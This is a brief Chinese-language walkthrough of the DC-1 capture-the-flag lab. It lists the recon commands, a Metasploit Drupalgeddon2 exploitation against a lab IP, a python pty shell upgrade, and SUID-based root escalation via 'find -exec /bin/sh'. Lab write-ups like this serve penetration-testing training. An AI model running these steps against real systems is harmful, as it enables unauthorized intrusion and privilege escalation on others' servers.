简单系列靶场dc1

一、信息收集

1.确定目标IP

arp-scan -l

目标IP：192.168.222.131

2.扫描开放端口

nmap -sV -A -p- 192.168.222.131

开放端口：22-ssh 80-http

3.目录爆破

dirsearch -u http://192.168.222.131

4.指纹识别

whatweb -v http://192.168.222.131

二、漏洞查找

1.通过指纹识别发现网站框架

2.查找框架漏洞

3.查找到一个漏洞，到MSF看漏洞是否存在

search Drupalgeddon2

4.漏洞存在，尝试利用

use 0
set rhosts 192.168.222.131
run

三、提权

1.成功反弹shell，改造bash

python -c "import pty;pty.spawn('/bin/bash')"

2.查看suid权限

find / -perm -u=s -type f 2>/dev/null

3.发现find可以提权，提权成功

find /etc/passwd -exec '/bin/sh' \;

4.找到flag